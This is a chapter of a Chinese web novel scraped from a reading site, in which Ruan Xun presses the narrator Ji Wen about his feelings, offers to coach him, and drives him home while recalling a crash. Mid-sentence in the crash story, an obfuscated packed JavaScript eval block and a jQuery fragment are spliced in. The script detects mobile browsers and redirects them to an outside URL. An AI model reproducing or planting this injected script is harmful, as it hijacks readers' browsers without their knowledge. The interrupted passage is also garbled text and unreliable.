默认冷灰
24号文字
方正启体

20. 第二十一章

作者:天道酬勤本书字数:K更新时间:
    阮荀翻了个白眼,说,我会嫉妒他?算了吧。我只是告诉你们他的真面目而已。


    他转过身,抓着我的肩膀,说,废材,你知道吗?你和丁彦祺之间的差别呢,就是两条平行线之间的差别,永不会走到一起,懂吗?所以你要是喜欢他,是绝对不会有结果的。


    还有,有一种人就是表面看着光鲜,其实真正相处起来就会让人觉得不合脚,觉得别扭。丁彦祺就是这种人了,你知道搞艺术的都有点那什么,变态刻薄,像你这种水平的人呢,就不要去撞枪口了。


    我说,丁哥不刻薄。


    阮荀才刻薄呢,只有他整天废材废材的叫我,动不动就揪我。


    他狠狠的敝了我一眼,然后说,你要是喜欢丁彦祺,你就惨了。你长得有点像乐宇,谁知道丁彦祺会不会拿你当替代品,就算不完全是,他看到你也会想起乐宇。然后成天让你当他的模特画乐宇。


    我对丁彦祺又不曾抱着任何想法,我当然不介意他怎么看我与乐宇。我只在意阮荀怎么看我而已。


    也许他认为我和他之间也像我和丁彦祺之间一样,永远都是平行线。


    阮荀说,所以呢,你别告诉我你喜欢丁彦祺就对了。


    周敖笑了一声,说,老板,你管得真宽。


    阮荀用腿扣了扣我的脚,道,说话,有没有喜欢上丁彦祺。


    我盯着他的膝盖,稍微觉得有点委屈。


    我明明喜欢他,却不敢开口说,还要听他评判我,逼问我有没有喜欢另外的人。


    如果可以选择,我就选择喜欢丁彦祺。


    阮荀说,有没有。


    我说,没有,不是丁哥。


    他说,那是谁。


    我看了他一眼,酝酿良久,吐出几个字,你不认识。


    他伸手掏进我的外套口袋,抢走我的手机,一边翻一边说,不会是骂你那个小瘪三吧。


    周敖说,谁骂他了。


    阮荀哼了一声说,一个自以为事的傻逼。


    我愣了一下,不清楚他嘴里那个瘪三是不是指山盟。


    阮荀说,那个傻逼呢,你最好也不要喜欢他了。因为上次我去找他的时候,我就给他说了,以后我见他一次打他一次,你要是敢喜欢他呢,我就连你一块儿打。


    周敖笑了笑说,啥事儿啊,你还亲自去找过。


    阮荀指了指我,说,还不是废材太蠢,被人骂得跟孙子一样。


    我说,我只是懒得理了罢了。我不理他们,他们很快就不会再骂了,现在已经没有骂了好吗。


    阮荀干笑一声说,那是我去找过他,你用点脑子。


    我有用脑子,我有脑子。


    我当然发现了有一天那些骂人的短信就突然消失了,我只是不相信那是阮荀帮的忙而已。


    我说,好吧,谢谢狗哥。


    他说,你一句谢谢就把我打发了?当我是叫花子啊。


    我说,那我还能咋样,折现吗?狗哥你又不缺钱。


    周敖推给阮荀一杯酒,说,老板你现在已经混到要问人要报酬的地步了吗。


    阮荀特严肃的对周敖说,你不知道,废材欠我的特别多。


    周敖笑起来,说,纪文欠你什么了?


    我说,我没欠他,那2万块是他自己要给我的。周哥你是知道的。


    阮荀说,我和丁彦祺打赌,输了一辆三百五十万的迈凯伦,这事都该算他头上。还有司哲那20万的安慰费。还有我今天可能丢了个项目,因为我放了客户鸽子。


    我说,都不管我的事,你赖我干什么。


    他说,怎么不管你的事,我是老板,我说是你的责任就是你的责任。说吧,你准备怎么赔我?


    赔他一百个拳头差不多。


    周敖说,你快别逗他了,一会儿又气跑了。对了,纪文,你不是问我怎么追人吗?这不就坐了个现成的导师吗?问老板,老板追过的人不少。


    阮荀眯着眼盯了我一会儿,盯得我毛骨悚然。


    他说,你到底要追谁啊,说来听听啊。


    我摇摇头。


    他喝了一口酒,突然抿嘴笑了笑,说,也不是不能教你,不过我收学生也是有要求的哦,不能砸了我阮氏的招牌。我教了你,你就必须要拿下他,知道吗?要是你没拿下他,以后你都不用领奖金和提成了。


    我想了想,然后我也笑了。


    这简直就是天上掉馅饼的好事啊!


    喔弥陀佛,喔弥陀佛。


    以前的语文老师教的没错,山穷水复疑无路,柳暗花明又一村。


    我说,狗哥,那我以后要是遇到问题可以打电话问你吗?


    他说,可以啊。你先告诉我他是谁。


    我摇摇头。


    他说,那你告诉我他是什么类型的。


    我看了他一眼,然后说,不高,有点胖,脸圆圆的,眼睛大,不爱说话。恩,会打鼓,玩乐队。


    周敖瞟了我一眼。


    阮荀也瞟了我一眼。


    我说,我想请他吃饭,找什么借口。


    阮荀说,要到电话号码说你想找他学打鼓啊。你不会连电话号码都要不到吧。


    我说,我明天就去要。


    阮荀咧嘴一笑,说,你要到了给我说吧,我再教你下一步。


    他看了看手表,说,快三点了,我送你回学校。


    我发现阮荀开车不太说话,每次我坐他的车都感觉特别安静,他也不放歌不听电台。


    车子每开一段距离,我都能清晰的感觉到和他呆在一起的时间在飞快的减少,沉默让这种缩减无限被扩大,我就开始感到有些气紧,甚至是坐立不安。


    我看着窗外,努力分散注意力,但是路上没什么可看的东西。


    我实在是不想浪费最后一点和他在一起的时间,便开口道,狗哥,你有喜欢听的歌吗?为什么不放?


    他说,我习惯了。以前开车野,也放音乐,有一次载一个朋友和别的车撞上了,撞得很厉害,我的安全气囊都弹出来了,结果副驾驶位的气囊卡住了,没有完全弹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552625|204368||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出,那个人当时完全晕过去了,头上都是血。把我吓到了,我很害怕,害怕他死了,那种感觉特别让人恐惧。


    之后有差不多半年时间,我都不敢开车。后来好了,我就不在开车的时候做分散注意力的事了。


    我说,你朋友他没事吧。


    阮荀说,没事,现在还好好的呢。


    我看着他的侧脸,心猛的跳了一下,问,是孟夏吗?


    他转头看了我一眼,说,是。


    我抓着皮椅的边缘,说,丁哥给我说了些关于你们的事情,我其实挺好奇的,为什么你们分开了呢?你和乐宇并没有什么啊。


    他沉默了片刻,说,因为我做得不够好。


    我并没有预先期待过任何答案,但是这个答案仍然让我感觉挨了重重的一拳。


    如果丁彦祺口中的纵容还不算好的话,那什么才算好呢?


    阮荀说如果喜欢上丁彦祺就会很惨,因为我和乐宇有天大的差距,丁彦祺给不了我和乐宇同等的待遇。


    那么喜欢上阮荀呢?


    是不是更糟糕?


    我问他,什么样才算好。


    他说,毁灭不了的就算好。


    我说,那什么样才会毁灭不了。


    他突然减速把车靠边停下,侧过身子看着我,用一种特别严肃特别凌厉的眼神注视着我。


    他说,不知道。你告诉我到哪种程度就不会毁灭。


    他那副样子让我有点害怕,好像他比我更紧张,更快要爆发,我甚至觉得他在生气。


    也许我说错了什么话,也许我不该提孟夏这个话题。


    我说,我只是随口问问,你不要生气。


    他揉了揉鼻梁,欲言又止,好久,叹了口气,说,我没有生气,纪文。老实说,我也不知道做到哪种程度才好,我玩砸了一次,我不想玩砸第二次,你明白吗?


    我不明白。但我还是点点头。


    我只是想尽我能力满足他的每一个要求。


    他看了我一会儿,笑了笑,说,你是废材,你怎么会明白。我还是赶紧送你回寝室吧,明天你不是还计划请人吃饭吗


    我下车后,站在校门口,准备等阮荀开走了再进去。


    他朝我挥了挥手,说,快进去啊,站那干什么。


    我转过身走进学校大门,站到门柱的阴影里。


    但是迟迟没听到汽车开走的声音。


    我探出头往外瞅了瞅,手机突然响了。


    阮荀说,你是打算等我走了再去外面鬼混吗,站柱子后面我就看不见了啊?


    我说,没有。


    我站到有光的地方,看着他的车,慢吞吞的往宿舍方向走去。


    阮荀说,你走到哪儿了,到楼下了吗?


    我说到了。


    阮荀说,快去睡吧,我走了。


    我愣了一秒,说,狗哥,再见。


    电话那头顿了顿,说,我明天要返回B国,下周五会回来,有事给我打电话。


    我说,再见。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)